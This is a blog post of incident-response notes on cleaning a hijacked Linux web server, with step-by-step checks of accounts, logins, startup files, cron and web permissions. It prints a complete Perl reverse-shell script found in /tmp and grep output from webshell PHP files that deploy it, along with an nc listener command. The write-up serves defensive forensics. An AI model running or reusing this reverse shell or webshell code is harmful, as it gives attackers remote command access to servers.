Web服務器捉蟲速記

一服務器疑似被掛馬,現象是從百度搜該站點,出來的結果大部分爲色情網站。 

馬上登錄服務器(半夜好睏啊)。執行如下的步驟:
<!--[if !supportLists]-->1、 <!--[endif]-->檢查系統帳號,看有沒有異常帳號--如冒充系統帳號,改一個字母,看起來像系統帳號,混淆視聽。有的傢伙狡猾的幹活,創建個帳號爲“…”極端不易察覺。
<!--[if !supportLists]-->2、 <!--[endif]-->檢查最近登錄用戶的ip:last 查看9月9號以後到目前的情況,經確認,有一個ip來路不對。
<!--[if !supportLists]-->3、 <!--[endif]-->檢查系統初始化文件inittab,運行級別爲3,爲發現異常。一些hacker喜歡在這裏下手,加上respawn這樣的行,保證他的程序被殺後自動重啓,不屈不撓地抗爭系統管理員的絞殺。
<!--[if !supportLists]-->4、 <!--[endif]-->檢查運行級別目錄的腳本,ls –al /etc/rc3.d ,未見異常。
<!--[if !supportLists]-->5、 <!--[endif]-->檢查自動任務 crontab –l ,root用戶和web運行用戶www各檢查一遍,未見任何異常。
<!--[if !supportLists]-->6、 <!--[endif]-->檢查歷史記錄history 發現有安裝sendmail的情形,問客戶是否有這個,答:不是自己裝的。
<!--[if !supportLists]-->7、 <!--[endif]-->檢查web目錄,發現其權限爲777,這可讓人不太放心了,心中猜想,可能是從這裏下手了。
<!--[if !supportLists]-->8、 <!--[endif]-->檢查一下目錄/tmp,發現有個文件不太對勁,文件名是spider_bc,打開看一下,是個perl腳本,其內容爲:

[root@localhost mysql]# more /tmp/spider_bc
#!/usr/bin/perl
use Socket;
$cmd= "lynx";
$system= 'echo "`uname -a`";echo"`id`";/bin/sh';
$0=$cmd;
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die("Error: $!\n");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);
   據客戶開發人員反應,這文件刪除以後,一會又自動生成了。
<!--[if !supportLists]-->9、 <!--[endif]-->初步懷疑是hacker利用web權限設置及程序漏洞上傳了程序後,自動生成這個文件,於是進入到網站根目錄,然後執行grep –r “spider” * ,片刻,結果出來了,下面節錄部分:

[root@localhost www]# grep spider_bc * -r
/plusbak/viev.php:                        echo File_Write('/tmp/spider_bc',base64_decode($back_connect_pl),'wb') ? '創建/tmp/spider_bc成功<br>' : '創建/tmp/spider_bc失敗<br>';
/plusbak/viev.php:                        echo Exec_Run($perlpath.' /tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '執行命令失敗';
/plusbak/viev.php:                        echo File_Write('/tmp/spider_bc.c',base64_decode($back_connect_c),'wb') ? '創建/tmp/spider_bc.c成功<br>' : '創建/tmp/spider_bc.c失敗<br>';
/plusbak/viev.php:                        @unlink('/tmp/spider_bc.c');
/plusbak/viev.php:                        echo Exec_Run('/tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '執行命令失敗';
/developers/FCKeditor/editor/skins/images/images.php:                     echo File_Write('/tmp/spider_bc',base64_decode($back_connect_pl),'wb') ? '創建/tmp/spider_bc成功<br>' : '創建/tmp/spider_bc失敗<br>';
/developers/FCKeditor/editor/skins/images/images.php:                     echo Exec_Run($perlpath.' /tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '執行命令失敗';
/developers/FCKeditor/editor/skins/images/images.php:                     echo File_Write('/tmp/spider_bc.c',base64_decode($back_connect_c),'wb') ? '創建/tmp/spider_bc.c成功<br>' : '創建/tmp/spider_bc.c失敗<br>';
/developers/FCKeditor/editor/skins/images/images.php:                     @unlink('/tmp/spider_bc.c');
/developers/FCKeditor/editor/skins/images/images.php:                     echo Exec_Run('/tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '執行命令失敗';
/developers/developers/cache/default/index_sql.php :                      echo File_Write('/tmp/spider_bc',base64_decode($back_connect_pl),'wb') ? '創建/tmp/spider_bc成功<br>' : '創建/tmp/spider_bc失敗<br>';
/developers/developers/cache/default/index_sql.php :                      echo Exec_Run($perlpath.' /tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '執行命令失敗';
/developers/developers/cache/default/index_sql.php :                      echo File_Write('/tmp/spider_bc.c',base64_decode($back_connect_c),'wb') ? '創建/tmp/spider_bc.c成功<br>' : '創建/tmp/spider_bc.c失敗<br>';
/developers/developers/cache/default/index_sql.php :                      @unlink('/tmp/spider_bc.c');
/developers/developers/cache/default/index_sql.php :                      echo Exec_Run('/tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '執行命令失敗';
9、問題基本查明,告知各方,先簡單恢復,明日再戰。
本文出自 “sery” 博客,請務必保留此出處http://sery.blog.51cto.com/10037/666829
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章